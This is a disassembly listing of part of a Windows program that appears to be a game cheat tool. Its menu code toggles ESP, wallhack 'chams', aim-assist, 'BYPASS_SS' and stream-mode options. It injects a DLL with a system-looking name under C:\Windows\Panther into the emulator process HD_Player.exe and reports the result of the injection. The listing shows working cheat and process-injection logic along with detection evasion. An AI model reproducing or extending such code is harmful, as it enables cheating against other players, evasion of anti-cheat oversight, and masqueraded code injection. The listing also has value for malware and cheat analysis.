call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e80]
lea rcx, str.ESP_Name
call fcn.14003f580
test al, al
je 0x14006c7fc
lea rcx, [rsp + 0x30]
cmp byte [0x140167e80], 0
je 0x14006c7da
lea rdx, str.Enable_ESPName
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c7f2
lea rdx, str.Disable_ESPName
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
call fcn.14000e4f0
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, dword [0x14014545c]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, dword [0x1401454bc]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov dword [rbp + 0x150], 0x433e0000
mov dword [rbp + 0x154], 0x43a00000
lea r8, [rbp + 0x150]
lea rdx, str.Customiz1
lea rcx, str.Chams
call fcn.1400028d0
lea rdx, [0x140167e84]
lea rcx, str.ChamsWallHack
call fcn.14003f580
test al, al
je 0x14006cd16
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov ecx, Ordinal_50
call fcn.1400c3474
mov rdx, rax
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [0x140145600]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.C:WindowsPanther_services_svchost.dll]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140144958]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140144968]
mov dword [rax + 0x20], ecx
movzx eax, word [0x14014496c]
mov word [rdx + 0x24], ax
movzx eax, byte [0x14014496e]
mov byte [rdx + 0x26], al
mov byte [rdx + 0x27], 0
lea rax, [rsp + 0x30]
mov qword [rbp - 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.14006e170
nop
lea r9, [fcn.14004ded0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 1
lea rcx, [rsp + 0x30]
call fcn.1400c372c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_listen]
movdqu xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.HD_Player.exe]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140143678]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x14014367c]
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], 0
lea rcx, [rsp + 0x70]
call fcn.14006a7c0
mov rdi, rax
movabs r14, 0x6574617669746341
test rax, rax
je 0x14006cba0
mov rbx, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
cmp rbx, rsi
je 0x14006cb8e
mov rdx, rbx
mov rcx, rdi
call fcn.14006a9f0
test al, al
jne 0x14006cadd
mov rdx, rdi
mov rcx, rbx
call fcn.14006ac10
test al, al
je 0x14006ca9c
lea rdx, str.DLL_injected_successfully:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140055ba0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14006ca0a
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14005ab70
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 8
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x50], r14
mov byte [rsp + 0x58], 0
lea rcx, [rsp + 0x50]
call fcn.14006a0e0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14006cb81
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006cb7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006cb7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.DLL_injection_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140055ba0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14006cabc
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14005ab70
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14006cb81
lea rdx, str.DLL_is_already_injected:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140055ba0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14006cafd
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14005ab70
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 8
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x50], r14
mov byte [rsp + 0x58], 0
lea rcx, [rsp + 0x50]
call fcn.14006a0e0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14006cb81
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006cb7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006cb99
call fcn.1400c36f8
add rbx, 0x20
cmp rbx, rsi
jne 0x14006c9c4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006cbc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Process_HD_Player.exe_not_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140055ba0
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
cmp byte [0x140167e84], 0
je 0x14006cc3e
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_htonl]
movdqu xmmword [rsp + 0x40], xmm1
mov qword [rsp + 0x30], r14
mov byte [rsp + 0x38], 0
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14006ccbc
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ccb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006ccb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movups xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqu xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [str.Deactivate]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140144cc8]
mov word [rsp + 0x58], ax
mov byte [rsp + 0x5a], 0
lea rcx, [rsp + 0x50]
call fcn.14006a0e0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14006ccbc
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ccb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006ccb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14006ccfb
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ccf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006ccf6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
movdqa xmm0, xmmword [0x140145550]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rbp - 0x20]
call fcn.14006eeb0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
xor r8d, r8d
lea rdx, [0x140167e88]
lea rcx, str.Chams_Color
call fcn.140049230
test al, al
je 0x14006cdd9
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqu xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.ChamsColor]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x140144ce8]
mov word [rsp + 0x78], ax
mov byte [rsp + 0x7a], 0
lea rdx, [rsp + 0x70]
lea rcx, [0x140167e88]
call fcn.14006a2c0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14006cdd9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006cdd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006cdd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
xor r8d, r8d
lea rdx, [0x140167e94]
lea rcx, str.ESPLineColor
call fcn.140049230
test al, al
je 0x14006ce9a
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1401455c0]
movdqu xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.ESPLineColor]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140144cf8]
mov dword [rsp + 0x78], eax
mov byte [rsp + 0x7c], 0
lea rdx, [rsp + 0x70]
lea rcx, [0x140167e94]
call fcn.14006a2c0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14006ce9a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ce95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006ce95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
xor r8d, r8d
lea rdx, [0x140167ea0]
lea rcx, str.ESPBoxColor
call fcn.140049230
test al, al
je 0x14006cf68
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1401455b0]
movdqu xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.ESPBoxColor]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x140144d08]
mov word [rsp + 0x78], ax
movzx eax, byte [0x140144d0a]
mov byte [rsp + 0x7a], al
mov byte [rsp + 0x7b], 0
lea rdx, [rsp + 0x70]
lea rcx, [0x140167ea0]
call fcn.14006a2c0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14006cf68
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006cf63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006cf63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
xor r8d, r8d
lea rdx, [0x140167eac]
lea rcx, str.ESPCornerColor
call fcn.140049230
test al, al
je 0x14006d055
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1401455e0]
movdqu xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.ESPCornerColor]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140144d18]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140144d1c]
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x7e], 0
lea rdx, [rsp + 0x70]
lea rcx, [0x140167eac]
call fcn.14006a2c0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14006d055
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006d050
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006d050
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
xor r8d, r8d
lea rdx, [0x140167eb8]
lea rcx, str.ESPDistanceColor
call fcn.140049230
test al, al
je 0x14006d121
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400c3474
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_recv]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.ESPDistanceColor]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140167eb8]
call fcn.14006a2c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14006d121
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006d11c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006d11c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
xor r8d, r8d
lea rdx, [0x140167ec4]
lea rcx, str.ESPSkeletonColor
call fcn.140049230
test al, al
je 0x14006d1ed
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400c3474
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_recv]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.ESPSkeletonColor]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140167ec4]
call fcn.14006a2c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14006d1ed
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006d1e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006d1e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
xor r8d, r8d
lea rdx, [0x140167ed0]
lea rcx, str.ESPNameColor
call fcn.140049230
test al, al
je 0x14006d2ae
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1401455c0]
movdqu xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.ESPNameColor]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140144d58]
mov dword [rsp + 0x78], eax
mov byte [rsp + 0x7c], 0
lea rdx, [rsp + 0x70]
lea rcx, [0x140167ed0]
call fcn.14006a2c0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14006d2ae
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006d2a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006d2a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
call fcn.14000e4f0
mov eax, dword [0x14016932c]
cmp eax, 2
jne 0x14006d422
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, dword [0x14014547c]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x14014545c]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov dword [rbp + 0x150], 0x43c30000
mov dword [rbp + 0x154], 0x43a00000
lea r8, [rbp + 0x150]
lea rdx, str.aimassi
lea rcx, str.Config
call fcn.1400028d0
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm9
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
mov dword [rbp + 0x150], 0x43ae8000
mov dword [rbp + 0x154], 0x41f00000
lea rdx, [rbp + 0x150]
lea rcx, str.BYPASS_SS
call fcn.1400016f0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x41200000
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x1401682f4]
lea rcx, str.StreaMode
call fcn.14003f580
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x41200000
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x1401682f8]
lea rcx, str.ResetGuest
call fcn.14003f580
mov byte [0x140167e74], al
call fcn.14000e4f0
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, dword [0x14014547c]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x1401454c0]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
lea rdx, [0x140167ee6]
lea rcx, str.Status:__s
call fcn.14003d750
call fcn.140069a40
call fcn.140014080
movaps xmm6, xmmword [rsp + 0x210]
movaps xmm9, xmmword [rsp + 0x200]
add rsp, 0x220
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret